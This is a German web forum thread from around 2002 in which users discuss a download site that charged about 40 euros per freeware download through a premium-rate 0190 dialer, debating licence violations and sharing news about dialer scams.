http://kerki.bei.t-online.de/dialer.gif (85KB).Mein lieber Scholli, du traust dich ja was! *g* - bis dahin haette ich mich nie getraut zu klicken. Um so wertvoller der Screenshot!
Dieser Anbieter vielleicht, aber bei anderen Angeboten, die sich nicht ausgerechnet an Computerhobbyisten richten, wäre ich mir so sicher.
Also meine Mutter wuerde vermutlich drauf reinfallen - aber die ist auch nicht so weit, dass sie nach Superduper-Shareware-Programmen Ausschau haelt ;-)
Und genau in diesem Punkt bin ich mir gar nicht einmal so sicher. Schließlich wird keine Gebühr für den Download der Software berechnet, sondern eine Gebühr für den Zugang zum Downloadrechner. Eine ähnliche Gebühr zahle ich jeden Monat an T-Onlne.
Man muss aber folgenden wichtigen Punkt unterscheiden:
Jeder Anbieter, der fuer seinen Zugang oder seine Vertriebskosten (es gibt ja z.B. auch unzaehlige Shareware-CDs, die Geld kosten) eine allgemeine Gebuehr verlangt, verlangt deshalb noch keine Gebuehr fuer einen ganz konkreten Download eines ganz konkreten Produkts. In diesem Fall aber verdient der Anbieter ganz konkret 40 Euro, wenn jemand SELFHTML oder Phase 5 oder WinTer oder sonst was laedt. Damit ist die Gebuehr an das Produkt gebunden, und in den Lizenzen der meisten Produkte (auch im Copyright von SELFHTML) steht drin, dass das Produkt in dieser Form nicht kostenpflichtig, sondern nur "frei" weitergegeben werden darf. Natuerlich kostet eine CD-ROM in der Produktion Geld, und der Verkaeufer versucht auch, noch eine gewisse Gewinnspanne da rauszuholen. Aber das ist produktunabhaengig, solange er 1000 Produkte auf dieser CD hat. Hier aber wird an ganz konkreten Produkten verdient. Und da ist die Sache juristisch anfechtbar. Das erlauben die meisten Lizenzen einfach nicht. Gott sei dank nicht.viele Gruesse
Stefan Muenz-
Bongú Stefan,
Die Frage ist nur, ob man sich über diese Kosten überhaupt bewußt ist.
*g* - naja, kann natuerlich auch ein Euro-Schnaepchen-Jaeger sein. Ich bemuehe mich derzeit, 40 Euro in Beziehung zu bringen mit Restaurantbesuchen, Friseurbesuchen usw. - weiss nicht, wie das anderen ergeht ;-)
Selbst Papierschiffchen d'raus zu basteln, würde ich für sinnvoller erachten, als es solch einem Raffzahn in den Rachen zu werfen.
Allerdings meinte ich eher, dass man auf der besagten Webseite kaum darauf hingewiesen wird, dass für den Download überhaupt Geld fällig wird.
Bis auf diesen Hinweis:
und dieses Popup:
sieht die Seite aus, wie tausende anderen Downloadarchive im Internet auch.
Mein lieber Scholli, du traust dich ja was! *g* - bis dahin haette ich mich nie getraut zu klicken. Um so wertvoller der Screenshot!
Ich wollte einfach 'mal selbst sehen, wieviel Schutz mit der IE6 vor solchen Dialern bietet.
Ergebnis: Bei mittlerer Sicherheitsstufe (Vorgabe-Einstellung) genau gar keine.
Also meine Mutter wuerde vermutlich drauf reinfallen - aber die ist auch nicht so weit, dass sie nach Superduper-Shareware-Programmen Ausschau haelt ;-)
Eben, genau so meinte ich es. Wenn auf der Seite andere Dinge verlinkt wären, die auch für "Otto-Normal"-Surfer, die von der Materie "Computer" herzlich wenig Ahnung haben, interessant wären, könnte diese "Geschäftsidee" durchaus vielversprechend sein.
Vielleicht ist sie es sogar schon lange, ohne das wir hier etwas davon mitbekommen haben?
Eventuell klappt es sogar, dieses Popup-Window so geschickt in ein vergnügliches JavaScript-Spielchen einzubinden, dass ich noch lustig herumgeklicke, während der Dialer schon lange lustig meine Urlaubskasse plündert?
[Linzenzverletzung: ja oder nein?]
Man muss aber folgenden wichtigen Punkt unterscheiden:
Jeder Anbieter, der fuer seinen Zugang oder seine Vertriebskosten (es gibt ja z.B. auch unzaehlige Shareware-CDs, die Geld kosten) eine allgemeine Gebuehr verlangt, verlangt deshalb noch keine Gebuehr fuer einen ganz konkreten Download eines ganz konkreten Produkts. In diesem Fall aber verdient der Anbieter ganz konkret 40 Euro, wenn jemand SELFHTML oder Phase 5 oder WinTer oder sonst was laedt.Wenn dies tatsächlich so ist/wäre, würde ich dir sofort zustimmen.
Als Verteidiger des Seitenbetreibers könnte man durchaus auch so argumentieren, dass die Website nur als Vorschau-Katalog dient, um die Kunden auf das kostenlose Downloadangebot auf einem Server hinzuweisen.
Allein der Zugang zu diesem Server ist dann kostenpflichtig, nicht aber der Download eines einzelnen oder gar bestimmten Programms.
Tatsächlich probiert habe ich natürlich nicht, aber scheinbar wird ja, egal welches Programm ich auf der Webseite ausgewählt habe, immer derselbe Dialer gestartet. Dieser verschafft mir dann den Zugang zu einem Server, wo ich dann das Programm, das ich downloaden will, erst erneut auswählen muss.
Zudem werden auf der Webseite keine Preise für den Download eines Programmes genannt. Es wird ja ohnehin kaum darauf hingewiesen, dass dieser Download etwas kosten soll.
Von einer "Gebuehr fuer einen ganz konkreten Download eines ganz konkreten Produkts", wie du oben sagst, ist auf der Webseite keine Rede.
Damit ist die Gebuehr an das Produkt gebunden, und in den Lizenzen der meisten Produkte (auch im Copyright von SELFHTML) steht drin, dass das Produkt in dieser Form nicht kostenpflichtig, sondern nur "frei" weitergegeben werden darf. Natuerlich kostet eine CD-ROM in der Produktion Geld, und der Verkaeufer versucht auch, noch eine gewisse Gewinnspanne da rauszuholen. Aber das ist produktunabhaengig, solange er 1000 Produkte auf dieser CD hat. Hier aber wird an ganz konkreten Produkten verdient. Und da ist die Sache juristisch anfechtbar. Das erlauben die meisten Lizenzen einfach nicht. Gott sei dank nicht.
Ich teile deine Empörung über die Machenschaften des Seitenbetreibers voll und ganz.
Ich stimme mit dir auch völlig darüber überein, dass diese Geschäftsidee garantiert nicht im Sinne der Lizenzbedingungen irgendeines Softwareherstellers ist.
Wenn's nach mir geht, werden der Seitenbetreiber und alle, die mit ihm unter einer Decke stecken, wegen Betrugs, Wucher, unlauteren Wettbewerbs, Markenverletzung und was weiß ich mit einem nassen Handtuch erschlagen ;-).
Aber ausgerechnet bei der Klage wegen eines Lizenzverstoßes befürchte ich, dass ein geschickter Anwalt diese in der Luft zerreißt. :-(
Irgendwie sind diese Dialersystems doch auch mit den seligen "Mailbox"-Systemen aus alten Akkustikkopplerzeiten (die ich nie selbst mitgemacht habe) zu vergleichen, von denen man sich ja auch Free- oder Shareware-Programme herunterladen konnte. Waren das damals Lizenzverstöße?
Falls nicht, würde sich der Lizenzverstoß allein in den höheren Telefongebühren begründen, die bei den heutigen Dialer-System u.U. anfallen. Mit etwas Geschick lassen sich diese hohen Kosten begründen. Dass es dann nebenher noch ein Internet gibt, wo man die Programme viel preiswerter oder fast gratis downloaden kann, spielt dann m.E. keine Rolle mehr.
Puh. Viel geschrieben. Mehr passt wahrscheinlich ohnehin nicht durch's Skript. Also erst 'mal Pause machen und abschicken.
Sahha,
kerki
-
-
Ahoi Kerki!
Bongú, Stefan!
Was du alles für tolle Sprachen kannst! Welche ist das?
http://www.soft-archiv.de/auswahl1.htm.
Das "Kleingedruckte" da unten habe ich glatt überlesen.Den hab' ich dann mal mit meinem Opera aufgesucht....
Auf die freundliche Frage antwortete ich nichtsahnend mit "Modem" (.oO mach ich bei Real-Player-Filmchen ja auch oft).
.... und habe eben dieses auch getan.
Und schau mal guck, Freund Opera sagt ja, _was_ er da aufruft, ob's der Anbieter will oder nicht:
<img src="http://wwnw.de/stonie/img/mastercdr.jpg" border=0 alt="">
Also, sag' was du willst: simhack_install.html klingt ja schon mal obergefährlich.
Also mal kurz googlen:
Au, Backe! Meine technische Ahnung ist ja begrenzt, aber es würde mich trotzdem interessieren, ob du dir da nicht das eine oder andere "nützliche Tool" eingefangen hast, beim Download des Dialers...
Aber wozu hat man schliesslich Virenscanner und so'n Zeuch, gelle? ;o)
File Griese,
Stonie
-
Moin,
Und schau mal guck, Freund Opera sagt ja, _was_ er da aufruft, ob's der Anbieter will oder nicht:
<img src="http://wwnw.de/stonie/img/mastercdr.jpg" border=0 alt="">
Och das liegt nicht an irgendeinem Browser. Bei kerkis Screenshot lag es lediglich im Frameset und deswegen wurde der echte URL nicht angezeigt.
Also, sag' was du willst: simhack_install.html klingt ja schon mal obergefährlich.
Hmm, auf der Seite sind diverse Links zu www.simhack.de und vice versa.
Also mal kurz googlen:
Au, Backe!
Das kommt auf die Suchanfrage an. http://www.google.de/search?q=simhack liest sich doch schon wesentlich beruhigender :).
Meine technische Ahnung ist ja begrenzt, aber es würde mich trotzdem interessieren, ob du dir da nicht das eine oder andere "nützliche Tool" eingefangen hast, beim Download des Dialers...
Unwahrscheinlich. Die Webseite sieht relativ sauber aus, da war nicht mal ein WYSIWYG-Editor am Werk. Die CAB-Datei die da runtergeladen und entpackt wird, enthält auch wirklich nur die versprochene OCX-Datei die ihrerseits den Dialer runterlädt.
Aber wozu hat man schliesslich Virenscanner und so'n Zeuch, gelle? ;o)
Hmm, ich hab zwar keinen Virenscanner, fühle mich aber dennoch von der Seite diskriminiert: Auf meinem Linuxsystem will die Dialer-Installation einfach nicht anfangen, ich sehe nur ein blödes Anigif.
--
Henryk Plötz
Grüße aus Berlin -
Bongú, Stonie!
Was du alles für tolle Sprachen kannst! Welche ist das?
Maltesisch.
Aber "können" kann ich diese Sprache beim besten Willen nicht.
Ich wollte einfach nur etwas "Wärme" in meine Grußformeln bringen. 'Hallo' und 'Gruß' waren mir auf Dauer doch zu langweilig geworden.
Und schau mal guck, Freund Opera sagt ja, _was_ er da aufruft, ob's der Anbieter will oder nicht:
<img src="http://wwnw.de/stonie/img/mastercdr.jpg" border=0 alt="">Ich weiß. Opera ist auch mein Freund.
Also, sag' was du willst: simhack_install.html klingt ja schon mal obergefährlich.
No risk, no fun! :-)
Aber wozu hat man schliesslich Virenscanner und so'n Zeuch, gelle? ;o)
Einen Virenscanner hat bisher noch keiner meiner PCs gesehen. Die letzten 10 Jahre hat's gut gegangen. *schnell mal eben auf Holz geklopft*
File Griese,
Auch eine schöne Sprache! ;-)
Sahha,
kerki
-
-
Moin, Moin
Sehr interessant ist auch http://www.anti-viren.com, was ja in der Statuszeile steht. Der whois-Server von Schlundt http://whois.schlund.de/ enthüllt erstaunliche Parallelen zu den Denic-Einträgen von soft-archiv.de.
Nett ist auch das Werbebanner unten auf anti-viren.com, das KOSTENLOSE(!) Downloads anbietet und schnurstracks zu soft-archiv.de führt.Thomas J.
-
-
hallo
Wieso ist es eigentlich erlaubt, 0190er mit Beträgen von jenseits 3,63 DM zu schalten? Mir geistert noch ein Dialer der 300 EURO pro Anruf wollte im Hirn rum!!
So weit ich weiss, gibt es da keine Beschraenkungen. Es liegt im Ermessen des Anbieters, wie viel er verlangt. Er muss die Preise nur ausweisen. Wie die Abrechnung mit dem Netzbetreiber erfolgt, weiss ich jetzt auch nicht - ob der einen fixen Grundbetrag bekommt oder prozentuale Anteile.
Der Anteil den der Netzanbieter dabei verdient liegt zwischen 20 und 60 Prozent. Von einem fixen Grundbetrag habe ich noch nicht gehört, aber der wird manchmal noch zusätzlich fällig.
Ich glaube allerdings, dass es nur eine winzige Minderheit ist, die - zumindest bei so was wie hier - auf solche Abzocken reinfaellt. Bei Sex-Angeboten ist es noch was anderes, da sind eher mal Verzweifelte unterwegs, die wider besseres Wissen so einen Service nutzen. Aber ich kann mir eigentlich nicht vorstellen, dass irgendein Mensch 40 Euro ausgibt, um sich ein Freeware- oder Trialware-Programm downzuloaden. Da fehlt finde ich einfach der Suchtfaktor.
Ein paar ganz Doofe hat dieser Anbieter vielleicht erwischt. Aber dass er wirklich reich damit wird, wage ich doch zu bezweifeln. Aber egal - allein der Versuch ist kriminell, weil er gegen fast alle Lizenzen der Software-Angebote verstoesst, die er da feilbietet. Und darauf kommts an.
Ja das dachte ich auch erst. Aber im Gegenteil ... die Ar***** bauen da auf die Unwissenheit und dem Vehalten der Benutzer. Der Anteil der Benutzer die sich im Internet nicht so gut auskennen ist doch enorm hoch.
Zusätzlich habe ich noch gehört das der Markt dieser Dialer Programme auf mehrere hundert Millionen Euro beläuft. Also verdienen da einige Leute gewaltig.
Ich habe selbst einige Menschen in meinem Bekanntenkreis beobachten können. Da ist schon eine Menge passiert. "136 Euro für drei Handy Klingeltöne" ... " 210 Euro für ein FlashSpiel-Download" ... und noch einige die mir nicht mehr erzählen wollen.
Von mehreren Fällen die gewaltig heftig ausgefallen sind wurde hier im Norden auch schon oft (und leider immer häufiger) in der Presse berichtet. Da ging es dann allerdings um mehrere tausend Euro.
Dazu nur ein Beispiel: " Ein Schüler hatte sich aus dem Internet über die Softwareaktualisierung des IE ein Programm auf seinen Rechner installiert. Dieses Programm versprach ihm einen schnelleren Netzzugang der besonders für Spiele geeignet ist. In Warheit ein Dialer! Da die Familie den Anschluss erst neu beantragt hatte, wurde die Rechnung erst einige Monate später zugestellt. Ich glaub es waren mehr als 4000 Euro. "
Ich kann spontan mehr als zwei dutzend Personen aufzählen, welche im Besitz eines Computers mit Internetzugang sind, die auf diese Art "Verarschung" sofort hereinfallen würden.
Sogar die Politiker laufen mittlerweile Sturm gegen solche Anbieter.
Ein paar Auszüge der NewsMeldungen!
Die jüngsten Meldungen:
20.03.02: CDU/CSU fordern gesetzliches Vorgehen gegen Dialer-Missbrauch
19.03.02: Vorsicht Spam: “Kostenlos Surfen“ und “Post von Microsoft“
14.03.02: Teure Tools: Die Abzocke mit “kostenlosen“ Programmen im Netz
13.03.02: Nach Protestwelle: HanseNet stoppt teure 0190-0-Nummern
13.03.02: Interview: Erotikanbieter fordern bessere Selbstkontrolle
10.03.02: Zeitung: Webdialer soll 80 Euro pro Minute berechnen
09.03.02: Böser Scherz: So imitierte ein Dialer-Anbieter das Layout von dialerschutz.de
05.03.02: Absichtserklärung: Ministerin Künast will gegen unseriöse Dialer vorgehen
02.03.02: Gefährliche Biester: So löschen Sie Dialer 5-4-10-1 und Co
02.03.02: Telekom-Sprecher: 900-Euro-Dialer hat vor Gericht “keinen Bestand“
28.02.02: Der teuerste Webdialer Deutschlands: 900 Euro pro EinwahlDiese älteren Meldungen finden Sie im News-Archiv:
26.02.02: Unser Testbericht: Neuer 0190 Warner 2.00 schützt auch vor CAPI-Dialern
22.02.02: Gefälschte Mails von “T-Online“: angebliches Treiber-Update ist ein gefährlicher Dialer
20.02.02: Kriminelle Aktion: Unbekannter tarnt gefährlichen Wurm als Schutzprogramm
18.02.02: Teurer Dialer-“Spass“: 89 Sekunden Einwahl kosteten 900 Euro
16.02.02: Neue Spam-Welle: “Gecrackte“ Dialer und Mails mit Auto-Download
13.02.02: Interview mit dem Landeskriminalamt Bayern: “Strafanzeigen nehmen zu“
11.02.02: Erst installiert, dann informiert: Autodialer bei www.stars.de
09.02.02: Vorsicht vor www.ce-bit2002.de“: Statt Infos teure Dialer
08.02.02: Täuschung mit 0190-Dialer: WinZip prüft Schritte gegen Seitenbetreiber
03.02.02: Schnelles Ende eines Abzockers: “win-zip.de“ nicht mehr erreichbar
02.02.02: Dreiste Täuschung: “Win-Zip“-Seite lädt Autodialer auf den PC
01.02.02: Schutzprogramm: Entwickler bittet um Mithilfe31.01.02: Warnung: Neuer Dialer-Spam per E-mail
27.01.02: Spammer im Chat unterwegs: Link führt zum 0190-Dialer
22.01.02: Vorsicht vor “www.betrug0190here.de“
20.01.02: Interview: “Dialer-Szene ist mächtig am boomen“
18.01.02: Namensmissbrauch: Dialer-Seite nach unserer Warnung aus dem Netz genommen
17.01.02: Dialer-Anbieter missbraucht Namen “Stiftung Warentest“
16.01.02: Journalistin sucht Dialer-Opfer
13.01.02: Webdialer schaltet Schutzprogramme ausZu finden unter http://www.dialerschutz.de
Das was du beschrieben hattest ist dort auch zu finden.
http://www.dialerschutz.de/home/Aktuelles/body_aktuelles.html#30Um mal zu beobachten wie hoch der Schaden so ist kann man auch gerne mal in dem auf der Site befindlichen Forum ein bischen stöbern.
" Die armen Schweine " !!!!!
cu
code2iPS konnte leider noch nicht alle Beiträge lesen... mache ich später .... Best Regards --
-
-
Bongú!
eine Frage wurde noch gar nicht angesprochen:
Wieso ist es eigentlich erlaubt, 0190er mit Beträgen von jenseits 3,63 DM zu schalten? Mir geistert noch ein Dialer der 300 EURO pro Anruf wollte im Hirn rum!!Das frag einmal die http://www.regtp.de.
Viele Informationen findest du unter dem im Heise-Artikel ganennaten Link:
Unterstützt die Telekom solche Anbieter, weil sie einfach selber dran verdienen?
Wieso die Telekom?
_Die_ Telekom haben wir schon lange nicht mehr.
Willkommen zum freien Telefonmarkt. Wir haben jetzt ganz viele bunte Telekoms.
U.a. auch die http://www.dtms.de, deren Kunde der ominöse Anbieter dieser ominösen Webseite ist.
Aber wenn's Ärger gibt, ist natürlich im Zweifel immer _die_ Telekom schuld. :-(
Sahha,
kerki
-
-
Halli hallo,
abgesehen davon, daß das ein alter Hut ist und bereits durch diverse Foren ging - klickt mal oben auf Info und dann auf E-Mail & Softwareanmeldung.
Viele Grüße
Jörg
-
Tach auch,
ich wollte man soeben Jörgs Empfehlung fröhnen und was sehe ich?
Nur ein Directory-Listing!!! Woher bekomme ich denn jetzt meine tolle und preiswerte Freeware?
Was kann ich machen?
<Emotionalen Ausbruch beenden />
Anscheinend ist das Web doch etwas sauberer geworden!!!Alex :)) <-- heute ein doppel-grinsen-smily
-
Hallo,
ich wollte man soeben Jörgs Empfehlung fröhnen und was sehe ich?
Nur ein Directory-Listing!!! Woher bekomme ich denn jetzt meine tolle und preiswerte Freeware?
Was kann ich machen?
Im Directory-Listing gibt's auf der untersten Ebene eine Datei "olody.zip", die anscheinend das gesamte bisherige Angebot enthält. Wurde (laut Directory-Listing) heute um 16:17 erstellt.
Nur mal so als Empfehlung zum Download... vielleicht kann das jemand noch in diversen Verhandlungen o.ä. gebrauchen.
Warum der typ das öffentlich bereitgestellt hat, kann ich mir allerdings nicht erklären, wenn er doch allem Anschein nach die bisherigen Seiten verbergen will.
Robert
http://www.designauswahl.here.de
mit kostenlosem Webseiten-Generator ROBE.dit
[more than a HTMLE.dit]-
Bongú!
"Er" hat übrigens auch einen Namen und sich geäußert:
http://www.heise.de/newsticker/foren/go.shtml?list=1&forum_id=27246
Sahha,
kerki
-
Moshi moshi (<-- japanisch, aber mit lateinischen Schriftzeichen (*stolzsei*)),
"Er" hat übrigens auch einen Namen und sich geäußert:
http://www.heise.de/newsticker/foren/go.shtml?list=1&forum_id=27246
Das hab' ich schon alles mitverfolgt. Ist echt faszinierend, wie schnell einige Leute, die sich gerade zufällig im Heise-Forum "herumtreiben", jemanden so "ausspionieren" können. Ein Ressigeure könnte daraus den besten Thriller machen ;-)
Jaa nee (<-- s.o.),
Robert
http://www.designauswahl.here.de
mit kostenlosem Webseiten-Generator ROBE.dit
[more than a HTMLE.dit]
-
-
-
-
-
Liebe Forumer,
Hi du einzelner
Also scheinbar mache ich irgendwas falsch, wenn ich den link anklicke kommt bei mir ne seite mit folgender überschrift:
..:: Super Geile Movies ::..alles klar?
Aber vieleicht hast du sie in einem kurzen, aber heftigen, rechtsstreit rundgeluscht. verdient hätten sie es!
viele Gruesse
Stefan Muenzmfg AnalphaBestie
-
Hallo AnalphaBestie,
Also scheinbar mache ich irgendwas falsch, wenn ich den link anklicke kommt bei mir ne seite mit folgender überschrift:
..:: Super Geile Movies ::..
alles klar?Ja, alles klar. So sieht jetzt der Inhalt der Seite aus. Was glaubst du, wie viel Traffic der in den letzten Tagen hatte? Da musste dann schnell was Verlockenderes her als Free- und Shareware. Und damit zeigt er ja auch, aus welcher Ecke er kommt.
Aber egal, Hauptsache, du hattest deinen Spass bei deinem Posting.
viele Gruesse
Stefan Muenz-
hallo stefan,
Ja, alles klar. So sieht jetzt der Inhalt der Seite aus. Was glaubst du, wie viel Traffic der in den letzten Tagen hatte? Da musste dann schnell was Verlockenderes her als Free- und Shareware. Und damit zeigt er ja auch, aus welcher Ecke er kommt.
nur mit soft-archiv hat es aber gat nichts mehr zu tun.
apropos... archiv...recherche:
http://www.google.de/search?q="Andreas+Baumann"+IMU&ie=ISO-8859-1&oe=ISO-8859-1&hl=de&btnG=Google-Suche&meta=lr%3Dlang_dedie herrn sind ja nicht unbekannt.
grüße
thomas
-
-
-
ciao zusammen
habe die ganze diskussion mal durchgelesen... dabei habe ich festgestellt, dass der anbieter angeblich von soft- auf pornoware umgestiegen sein soll. nun scheint er sich auf den newsbereich zu konzentrieren ;-)
klicke ich auf diesen link:
lande ich bei:
http://www.heise.de/könnte mir vorstellen, dass heise da was degegen hat! besonders weil die url da immer noch www.soft-archiv.de lautet.
grüsse Stephan
